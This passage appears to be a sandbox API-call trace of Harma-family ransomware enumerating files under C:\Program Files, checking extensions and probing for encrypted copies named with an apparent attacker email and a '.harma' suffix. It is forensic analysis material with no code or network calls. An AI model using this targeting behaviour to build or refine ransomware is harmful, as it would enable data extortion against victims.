[0063.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0063.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0063.901] lstrlenW (lpString=".doc") returned 4 [0063.901] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0063.901] lstrlenW (lpString=".docx") returned 5 [0063.901] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0063.901] lstrlenW (lpString=".pdf") returned 4 [0063.901] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0063.901] lstrlenW (lpString=".xls") returned 4 [0063.901] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0063.901] lstrlenW (lpString=".xlsx") returned 5 [0063.901] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0063.901] lstrlenW (lpString=".ppt") returned 4 [0063.901] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0063.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0063.901] lstrlenW (lpString=".zip") returned 4 [0063.901] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0063.901] lstrlenW (lpString=".rar") returned 4 [0063.901] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0063.901] lstrlenW (lpString=".bz2") returned 4 [0063.901] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0063.901] lstrlenW (lpString=".7z") returned 3 [0063.901] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0063.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0063.901] lstrlenW (lpString=".dbf") returned 4 [0063.901] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0063.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0063.902] lstrlenW (lpString=".1cd") returned 4 [0063.902] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0063.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0063.902] lstrlenW (lpString=".jpg") returned 4 [0063.902] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0063.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0063.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0063.902] lstrlenW (lpString=".doc") returned 4 [0063.902] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0063.902] lstrlenW (lpString=".docx") returned 5 [0063.902] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0063.902] lstrlenW (lpString=".pdf") returned 4 [0063.902] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0063.902] lstrlenW (lpString=".xls") returned 4 [0063.902] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0063.902] lstrlenW (lpString=".xlsx") returned 5 [0063.902] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0063.902] lstrlenW (lpString=".ppt") returned 4 [0063.902] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0063.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0063.902] lstrlenW (lpString=".zip") returned 4 [0063.902] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0063.902] lstrlenW (lpString=".rar") returned 4 [0063.902] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0063.902] lstrlenW (lpString=".bz2") returned 4 [0063.902] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0063.902] lstrlenW (lpString=".7z") returned 3 [0063.903] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0063.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0063.903] lstrlenW (lpString=".dbf") returned 4 [0063.903] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0063.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0063.903] lstrlenW (lpString=".1cd") returned 4 [0063.903] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0063.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0063.903] lstrlenW (lpString=".jpg") returned 4 [0063.903] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0063.903] lstrcmpiW (lpString1=".inc", lpString2=".harma") returned 1 [0063.903] lstrlenW (lpString="adcjavas.inc") returned 12 [0063.903] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0064.156] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=630) returned 1 [0064.156] CloseHandle (hObject=0x1ec) returned 1 [0064.156] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc")) returned 0x20 [0064.156] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0064.157] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0064.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0064.157] lstrlenW (lpString=".doc") returned 4 [0064.157] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0064.157] lstrlenW (lpString=".docx") returned 5 [0064.157] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0064.157] lstrlenW (lpString=".pdf") returned 4 [0064.157] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0064.157] lstrlenW (lpString=".xls") returned 4 [0064.157] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0064.157] lstrlenW (lpString=".xlsx") returned 5 [0064.157] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0064.157] lstrlenW (lpString=".ppt") returned 4 [0064.157] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0064.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0064.157] lstrlenW (lpString=".zip") returned 4 [0064.157] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0064.157] lstrlenW (lpString=".rar") returned 4 [0064.157] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0064.157] lstrlenW (lpString=".bz2") returned 4 [0064.157] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0064.157] lstrlenW (lpString=".7z") returned 3 [0064.157] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0064.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0064.157] lstrlenW (lpString=".dbf") returned 4 [0064.157] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0064.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0064.157] lstrlenW (lpString=".1cd") returned 4 [0064.158] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0064.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0064.158] lstrlenW (lpString=".jpg") returned 4 [0064.158] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0064.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0064.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0064.158] lstrlenW (lpString=".doc") returned 4 [0064.158] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0064.158] lstrlenW (lpString=".docx") returned 5 [0064.158] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0064.158] lstrlenW (lpString=".pdf") returned 4 [0064.158] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0064.158] lstrlenW (lpString=".xls") returned 4 [0064.158] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0064.158] lstrlenW (lpString=".xlsx") returned 5 [0064.158] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0064.158] lstrlenW (lpString=".ppt") returned 4 [0064.158] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0064.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0064.158] lstrlenW (lpString=".zip") returned 4 [0064.158] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0064.158] lstrlenW (lpString=".rar") returned 4 [0064.158] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0064.158] lstrlenW (lpString=".bz2") returned 4 [0064.158] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0064.158] lstrlenW (lpString=".7z") returned 3 [0064.159] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0064.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0064.159] lstrlenW (lpString=".dbf") returned 4 [0064.159] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0064.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0064.159] lstrlenW (lpString=".1cd") returned 4 [0064.159] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0064.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0064.159] lstrlenW (lpString=".jpg") returned 4 [0064.159] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0064.159] lstrcmpiW (lpString1=".png", lpString2=".harma") returned 1 [0064.159] lstrlenW (lpString="4to3Squareframe_Buttongraphic.png") returned 33 [0064.159] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0064.646] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=11861) returned 1 [0064.646] CloseHandle (hObject=0x21c) returned 1 [0064.647] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_buttongraphic.png")) returned 0x20 [0064.647] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_buttongraphic.png.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0064.647] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.647] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png") returned 77 [0064.647] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png") returned 77 [0064.647] lstrlenW (lpString=".doc") returned 4 [0064.647] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0064.647] lstrlenW (lpString=".docx") returned 5 [0064.647] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0064.647] lstrlenW (lpString=".pdf") returned 4 [0064.647] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0064.647] lstrlenW (lpString=".xls") returned 4 [0064.647] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0064.647] lstrlenW (lpString=".xlsx") returned 5 [0064.647] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0064.647] lstrlenW (lpString=".ppt") returned 4 [0064.647] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0064.647] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png") returned 77 [0064.647] lstrlenW (lpString=".zip") returned 4 [0064.647] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0064.648] lstrlenW (lpString=".rar") returned 4 [0064.648] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0064.648] lstrlenW (lpString=".bz2") returned 4 [0064.648] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0064.648] lstrlenW (lpString=".7z") returned 3 [0064.648] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0064.648] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png") returned 77 [0064.648] lstrlenW (lpString=".dbf") returned 4 [0064.648] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0064.648] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png") returned 77 [0064.648] lstrlenW (lpString=".1cd") returned 4 [0064.648] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0064.648] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png") returned 77 [0064.648] lstrlenW (lpString=".jpg") returned 4 [0064.648] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0064.648] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png") returned 77 [0064.648] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png") returned 77 [0064.648] lstrlenW (lpString=".doc") returned 4 [0064.648] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0064.648] lstrlenW (lpString=".docx") returned 5 [0064.648] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0064.648] lstrlenW (lpString=".pdf") returned 4 [0064.648] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0064.648] lstrlenW (lpString=".xls") returned 4 [0064.648] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0064.649] lstrlenW (lpString=".xlsx") returned 5 [0064.649] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0064.649] lstrlenW (lpString=".ppt") returned 4 [0064.649] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0064.649] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png") returned 77 [0064.649] lstrlenW (lpString=".zip") returned 4 [0064.649] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0064.649] lstrlenW (lpString=".rar") returned 4 [0064.649] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0064.649] lstrlenW (lpString=".bz2") returned 4 [0064.649] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0064.649] lstrlenW (lpString=".7z") returned 3 [0064.649] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0064.649] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png") returned 77 [0064.649] lstrlenW (lpString=".dbf") returned 4 [0064.649] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0064.649] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png") returned 77 [0064.649] lstrlenW (lpString=".1cd") returned 4 [0064.649] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0064.649] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png") returned 77 [0064.649] lstrlenW (lpString=".jpg") returned 4 [0064.649] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0064.649] lstrcmpiW (lpString1=".png", lpString2=".harma") returned 1 [0064.650] lstrlenW (lpString="babyblue.png") returned 12 [0064.650] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyblue.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0064.652] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=12349) returned 1 [0064.653] CloseHandle (hObject=0x21c) returned 1 [0064.653] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyblue.png")) returned 0x20 [0064.653] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyblue.png.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0064.653] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyblue.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.653] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png") returned 64 [0064.653] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png") returned 64 [0064.653] lstrlenW (lpString=".doc") returned 4 [0064.653] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0064.653] lstrlenW (lpString=".docx") returned 5 [0064.653] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0064.653] lstrlenW (lpString=".pdf") returned 4 [0064.653] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0064.653] lstrlenW (lpString=".xls") returned 4 [0064.653] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0064.653] lstrlenW (lpString=".xlsx") returned 5 [0064.653] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0064.653] lstrlenW (lpString=".ppt") returned 4 [0064.653] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0064.654] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png") returned 64 [0064.654] lstrlenW (lpString=".zip") returned 4 [0064.654] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0064.654] lstrlenW (lpString=".rar") returned 4 [0064.654] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0064.654] lstrlenW (lpString=".bz2") returned 4 [0064.654] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0064.654] lstrlenW (lpString=".7z") returned 3 [0064.654] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0064.654] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png") returned 64 [0064.654] lstrlenW (lpString=".dbf") returned 4 [0064.654] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0064.654] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png") returned 64 [0064.654] lstrlenW (lpString=".1cd") returned 4 [0064.654] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0064.654] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png") returned 64 [0064.654] lstrlenW (lpString=".jpg") returned 4 [0064.654] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0064.654] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png") returned 64 [0064.654] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png") returned 64 [0064.654] lstrlenW (lpString=".doc") returned 4 [0064.654] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0064.654] lstrlenW (lpString=".docx") returned 5 [0064.654] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0064.654] lstrlenW (lpString=".pdf") returned 4 [0064.654] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0064.655] lstrlenW (lpString=".xls") returned 4 [0064.655] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0064.655] lstrlenW (lpString=".xlsx") returned 5 [0064.655] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0064.655] lstrlenW (lpString=".ppt") returned 4 [0064.655] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0064.655] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png") returned 64 [0064.655] lstrlenW (lpString=".zip") returned 4 [0064.655] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0064.655] lstrlenW (lpString=".rar") returned 4 [0064.655] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0064.655] lstrlenW (lpString=".bz2") returned 4 [0064.655] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0064.655] lstrlenW (lpString=".7z") returned 3 [0064.655] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0064.655] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png") returned 64 [0064.655] lstrlenW (lpString=".dbf") returned 4 [0064.655] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0064.655] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png") returned 64 [0064.655] lstrlenW (lpString=".1cd") returned 4 [0064.655] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0064.655] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png") returned 64 [0064.655] lstrlenW (lpString=".jpg") returned 4 [0064.655] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0064.656] lstrcmpiW (lpString1=".wmv", lpString2=".harma") returned 1 [0064.656] lstrlenW (lpString="BabyBoyMainBackground.wmv") returned 25 [0064.656] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0064.657] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=341322) returned 1 [0064.657] CloseHandle (hObject=0x21c) returned 1 [0064.657] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground.wmv")) returned 0x20 [0064.657] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground.wmv.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0064.657] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.657] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv") returned 77 [0064.657] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv") returned 77 [0064.657] lstrlenW (lpString=".doc") returned 4 [0064.658] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0064.658] lstrlenW (lpString=".docx") returned 5 [0064.658] lstrcmpiW (lpString1=".docx", lpString2="d.wmv") returned -1 [0064.658] lstrlenW (lpString=".pdf") returned 4 [0064.658] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0064.658] lstrlenW (lpString=".xls") returned 4 [0064.658] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0064.658] lstrlenW (lpString=".xlsx") returned 5 [0064.658] lstrcmpiW (lpString1=".xlsx", lpString2="d.wmv") returned -1 [0064.658] lstrlenW (lpString=".ppt") returned 4 [0064.658] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0064.658] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv") returned 77 [0064.658] lstrlenW (lpString=".zip") returned 4 [0064.658] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0064.658] lstrlenW (lpString=".rar") returned 4 [0064.658] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0064.658] lstrlenW (lpString=".bz2") returned 4 [0064.658] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0064.658] lstrlenW (lpString=".7z") returned 3 [0064.658] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0064.658] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv") returned 77 [0064.658] lstrlenW (lpString=".dbf") returned 4 [0064.658] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0064.658] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv") returned 77 [0064.658] lstrlenW (lpString=".1cd") returned 4 [0064.658] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0064.658] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv") returned 77 [0064.658] lstrlenW (lpString=".jpg") returned 4 [0064.659] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0064.659] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv") returned 77 [0064.659] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv") returned 77 [0064.659] lstrlenW (lpString=".doc") returned 4 [0064.659] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0064.659] lstrlenW (lpString=".docx") returned 5 [0064.659] lstrcmpiW (lpString1=".docx", lpString2="d.wmv") returned -1 [0064.659] lstrlenW (lpString=".pdf") returned 4 [0064.659] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0064.659] lstrlenW (lpString=".xls") returned 4 [0064.659] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0064.659] lstrlenW (lpString=".xlsx") returned 5 [0064.659] 